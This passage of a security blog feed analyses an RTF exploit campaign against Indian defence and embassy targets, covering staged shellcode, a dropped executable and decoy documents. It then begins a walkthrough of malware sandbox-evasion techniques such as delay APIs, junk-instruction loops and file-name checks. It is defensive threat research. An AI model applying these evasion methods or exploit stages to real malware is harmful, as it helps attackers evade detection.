&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxVnrILhRNoGHMae8HDC0f7Dv-ya9T2jWRwUAkWrX5fz6dKk1xwEtui0pdYCdkucRfknPJVpMdXW5eakRT-Ol5uNbxdocCy05djAkXxDlDvPol9wEGx7sD5BwETPcyE9jiun_lHu7gDrQ/s1600/shellcode3.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;373&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxVnrILhRNoGHMae8HDC0f7Dv-ya9T2jWRwUAkWrX5fz6dKk1xwEtui0pdYCdkucRfknPJVpMdXW5eakRT-Ol5uNbxdocCy05djAkXxDlDvPol9wEGx7sD5BwETPcyE9jiun_lHu7gDrQ/s1600/shellcode3.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
Below is the routine from the 1st stage shellcode that decrypts to the 2nd stage and then jumps to it.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBcGAP80mf0_zJVwCeVFTfh_iS74kgxv4ErWLvhacnrfQ43VKnIiDqevkwGqlCCiQaComkv9rQhvzrtYp6aybcaG0x8IjdlyCpUPIS8UOnTqlAQIyw-0tUQljCECBD3YN_OMgS6X1dEvQ/s1600/shellcode14.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;208&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBcGAP80mf0_zJVwCeVFTfh_iS74kgxv4ErWLvhacnrfQ43VKnIiDqevkwGqlCCiQaComkv9rQhvzrtYp6aybcaG0x8IjdlyCpUPIS8UOnTqlAQIyw-0tUQljCECBD3YN_OMgS6X1dEvQ/s1600/shellcode14.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&quot;Datastore&quot; of the RTF exploit contains the embedded XORed executable which is accessed by 2nd stage shellcode .&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIMQ8WMUWzgpGCIW1JYt_ZQ9Z0z9hGGy7npKcB4eQ31PWD2I15TajKrfIVjc0GDlh3cMUp0crAwVxUQY_4z0TYu9NNo_z9mnfu1Rddy1KGupNX3HmZ2mXhzHL2bkIu3XU2RaH4pGZW4kU/s1600/obfuscated+binary.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;177&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIMQ8WMUWzgpGCIW1JYt_ZQ9Z0z9hGGy7npKcB4eQ31PWD2I15TajKrfIVjc0GDlh3cMUp0crAwVxUQY_4z0TYu9NNo_z9mnfu1Rddy1KGupNX3HmZ2mXhzHL2bkIu3XU2RaH4pGZW4kU/s1600/obfuscated+binary.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2nd stage shellcode then decrypts the embedded binary and the embedded decoy document using the same decryption algorithm , eventually droping them in the %Temp% directory with the name dw20.exe , executing it.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIZ7eHKpc5eqTV91cN2YIcN9cRBcWUWzFOwvKDCQweaNMgfE0ZbBNWGkaxSyx990V-R18DBHZ5fKqPxQxiTk8ztKvW0lHKjh1pFOQapwtB-UU69cPOeX6HDG02TYQYvDJfmsVdduJ5iZs/s1600/shellcode13.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;266&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIZ7eHKpc5eqTV91cN2YIcN9cRBcWUWzFOwvKDCQweaNMgfE0ZbBNWGkaxSyx990V-R18DBHZ5fKqPxQxiTk8ztKvW0lHKjh1pFOQapwtB-UU69cPOeX6HDG02TYQYvDJfmsVdduJ5iZs/s1600/shellcode13.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Here is how the complete shellcode looks like :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOvy4JqdNRkYpdFiJR3xvmzqKpo9RmKebOtr9ojPHWWnqAZ6zp5GwVi8GkHygyCN6vsj9DlNWvKNzANhau_ROk8HI5ofzZVhCWWUpL9jRSPo0rBmDIf5vGy3H_TzqPO0hq7tK68klIdwU/s1600/shellcode.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOvy4JqdNRkYpdFiJR3xvmzqKpo9RmKebOtr9ojPHWWnqAZ6zp5GwVi8GkHygyCN6vsj9DlNWvKNzANhau_ROk8HI5ofzZVhCWWUpL9jRSPo0rBmDIf5vGy3H_TzqPO0hq7tK68klIdwU/s1600/shellcode.jpeg&quot; width=&quot;298&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Some of the other decoy documents that has been found in the ongoing campaign :&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1wHGjRIedmPXtCkNymJacwVqEos64qGezCpHfRuRxuc67tNWy_NEVmsCPloNn2QuNSlWFXgVjFOOhHEXl_jS0VQGtczQejDOs48ZJT6x_-hxgJWhDLKAi3_0hbeUoVtanXKps7dZmx3M/s1600/decoy1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;220&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1wHGjRIedmPXtCkNymJacwVqEos64qGezCpHfRuRxuc67tNWy_NEVmsCPloNn2QuNSlWFXgVjFOOhHEXl_jS0VQGtczQejDOs48ZJT6x_-hxgJWhDLKAi3_0hbeUoVtanXKps7dZmx3M/s1600/decoy1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiozhJC1Pb61DQwdnBL4v6eNuY4M_VFQHjP9loP2KLsr3wAksH47YULF7zV8sct7KlSadzVgquwtUeh69mtKT_1X2Au8UM5FZSJkz8qw_vGiUmcDVeJgCS3fmYLvtJ1LwdjYaSZSgN5XOo/s1600/decoy2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;221&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiozhJC1Pb61DQwdnBL4v6eNuY4M_VFQHjP9loP2KLsr3wAksH47YULF7zV8sct7KlSadzVgquwtUeh69mtKT_1X2Au8UM5FZSJkz8qw_vGiUmcDVeJgCS3fmYLvtJ1LwdjYaSZSgN5XOo/s1600/decoy2.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfvND3qBRKwJuu3RYVvqGcleNiBq9NT_C4hQkHeLaIsewniYmd4_AXijuV1KkinZOKV4ro_IgX92M8bLElcTCtqaWrUtEzv3imQoIq6noHTZUyUomclgwE-21EvFYZwp-Rg6GAaAqr1WQ/s1600/decoy3.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;251&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfvND3qBRKwJuu3RYVvqGcleNiBq9NT_C4hQkHeLaIsewniYmd4_AXijuV1KkinZOKV4ro_IgX92M8bLElcTCtqaWrUtEzv3imQoIq6noHTZUyUomclgwE-21EvFYZwp-Rg6GAaAqr1WQ/s1600/decoy3.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;Based on the further research on the origin of this targeted attacks against India , I believe , this campaign had been going on since 2010 during which this threat was active in the limited geographical location in Nepal and China. Subsequently,during this span of 4 years, several different families of malware could have been used to exfilterate the information from multiple compromised machines within targeted Indian organizations .&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
Based on the nature and theme of the exploits used in the attack, it leads me to believe that this could be a continued attempt of cyber espionage against India with the intent to steal the confidential data and documents that could be of the national interest.&lt;br /&gt;
&lt;br /&gt;
In this wave , I believe the following organization were targeted using multiple variants of RTF exploits taking advantage of the same vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Indian embassies in United States and China&lt;/li&gt;
&lt;li&gt;Military / Defence educational institutions in India&lt;/li&gt;
&lt;li&gt;Institute of Defence Analysis and Studies , India&lt;/li&gt;
&lt;li&gt;Defence Intelligence Agency under Ministry of Defence in India&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
A while back when taking a closer look at this attack, I came across a very interesting paper that was published way back in 2010 , elucidating similar espionage attempt against India and very closely relating to this ongoing attack with the similar targets . It perhaps clears out the way to perceive that this is a closely knit group of APT authors focusing on this locality .&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Report can be read here -- &lt;a href=&quot;http://www.nartv.org/mirror/shadows-in-the-cloud.pdf&quot; target=&quot;_blank&quot;&gt;SHADOWS IN THE CLOUD:Investigating Cyber Espionage 2.0&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
In the next part , I would take a deep dive into the family of malware dropped by these exploits and its network communications to get the better visualization of the techniques used and how this threat works as a whole.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2014/12/operation-mangal-win32-syndicasec-used.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHL_wBs8Smnv51D9eW9Sy3b-BBqqoJzYQK7wZ_XoANOp_sshg-8MsefE3U-OQT3UpKtI8UJrk2IoEohyphenhyphen9hInCXc8uVyUw3DgiIQV1hG6ry__RcSr07l4z2tCzF5HtzGDEGmZxgr4KEPqo/s72-c/working+of+the+attack.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-3769369775161968302</guid><pubDate>Sun, 21 Sep 2014 08:40:00 +0000</pubDate><atom:updated>2014-09-21T14:10:32.538+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Malware Techniques</category><title>Evading Sandboxes : Into The Loopholes Of Sandboxing Technology - Part 1</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
As I demonstrated in my &lt;a href=&quot;http://extreme-security.blogspot.in/2014/07/trojan-fakeav-uses-unprecedented-apis.html&quot; target=&quot;_blank&quot;&gt;last blog&lt;/a&gt; , malwares have now started to submerge much deeper into the system to detect the sandbox environment. Besides the file system , process and known registry artifacts which can be very easily spotted by the researchers , there are several other methods researched to evade the automated analysis systems and needless to say , actively being used today. This two part blog series is primarily intented to provide a complete walkthrough of the most common sandbox evasion techniques prevalent today.&lt;br /&gt;
&lt;b style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;b style=&quot;color: #93c47d;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;Latent execution:&lt;/u&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;b style=&quot;color: #93c47d;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Automated malware analysis systems are designed to process several thousand samples within a short period of time . Because of that fact, the proportion of time allocated for its execution is usually very limited , ranging from somewhere between 3 to 5 mins for one sample. Malware authors tend to take the advantage of this configuration aspect by introducing the &lt;b&gt;Sleep ( )&lt;/b&gt; calls in the middle of the code to pause the execution for several minutes before the execution of actual malicious payload. Under the Sandbox configured to execute the malware for shorter period , none of the malwares&#39; actual behaviour would be captured. This is very common technique used today to bypass sandboxes . One such family of malwares using this was Win32/Kuluoz .&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitHCG0s9025dBWcm8OqFiyJMmaM8rRHxPhhBD0u5toSMammSfZHcXI2xcNxTofAlvF1WNtUmIfc4QRN2dGQ8Sg1BhExuIhC6TiRRJ9dfMmLDm8ai6SodyKYy_rbu-rsco4oFeDisI3QfI/s1600/sleep.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitHCG0s9025dBWcm8OqFiyJMmaM8rRHxPhhBD0u5toSMammSfZHcXI2xcNxTofAlvF1WNtUmIfc4QRN2dGQ8Sg1BhExuIhC6TiRRJ9dfMmLDm8ai6SodyKYy_rbu-rsco4oFeDisI3QfI/s1600/sleep.png&quot; height=&quot;101&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
One of the disadvantage of using Sleep / SleepEx calls is that they are easily noticeable and Sandboxes are now protected against this trick. Since they use the API Hooking to trace the calls , the moment it notices the Sleep ( ) calls , it will patch the argument to the API, effectively resulting into the faster sample execution.&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Malwares as always , continues to look out for more elegant methods. One of the way to evade this protection mechanism is to use the alternate APIs some of them which are undocumented . For Instance below APIs can still be used to achieve the same functionality:&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
NtDelayExecution ( ) &lt;span style=&quot;color: #6aa84f; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt; Undocumented ]&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
WaitForSingleObject ()&lt;br /&gt;
WaitForMultipleObject ( )&lt;br /&gt;
CreateWaitableTimer ( )&lt;br /&gt;
SetWaitableTimer ( )&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
More polished method to introduce latency was observed in the Win32/Cutwail ( MD5 : b4f310f5cc7b9cd68d919d50a8415974 ). It loaded the ECX register with the huge value and kept calling the API in the loop resulting into single API call &amp;gt; 78 Lac times. Below is the snippet of the code:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkqoxpPTX0uXFPybpfv8WgkNGe2rVlP09Rsj1RJv9BPHtIeSz6SexMr71AZdYJ6Y1RtuL46j7zmZlILJSIaqDMwvVP2HTmH13i9ZL6uYLtM86aIu1MTmzoY8v7e1uHbxkSbs4mYqEMASc/s1600/sleep_1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkqoxpPTX0uXFPybpfv8WgkNGe2rVlP09Rsj1RJv9BPHtIeSz6SexMr71AZdYJ6Y1RtuL46j7zmZlILJSIaqDMwvVP2HTmH13i9ZL6uYLtM86aIu1MTmzoY8v7e1uHbxkSbs4mYqEMASc/s1600/sleep_1.png&quot; height=&quot;161&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
This can still be noticed by some of the intelligent sandbox systems out there . Way to go one step beyond this is not to call the API , instead place the junk instuctions in the loop . This can virtually defeat every sandbox technology. We could do something like this :&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQZeYkoC4w1uqgQlhzhGikiis1bU0Oa9BVha11XE4RKM8AF02jjUmhi4gUsdTAsPZffHNvtHjGc19ik3Ke9XYg9T7tDEbCqyrsRzRmZ2mvaGIWjw3BnTVV4XfoYxSHeMcweB-eIA82BI0/s1600/sleep_2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQZeYkoC4w1uqgQlhzhGikiis1bU0Oa9BVha11XE4RKM8AF02jjUmhi4gUsdTAsPZffHNvtHjGc19ik3Ke9XYg9T7tDEbCqyrsRzRmZ2mvaGIWjw3BnTVV4XfoYxSHeMcweB-eIA82BI0/s1600/sleep_2.png&quot; height=&quot;304&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;u&gt;Self Name Checks&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;One of the other common and observed way of sensing the sandbox environment is to perform the self check. Sandboxes, while executing the malwares are inclined to rename the file either to sample.exe / malware.exe / virus.exe etc. Malwares have found to be taking advantage of this naming convention. Similar technique was found in one recent malware (MD5:&lt;/span&gt;9404955681a5828b5ab9ab2a5c5547ce) named Win32/Comrerop.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
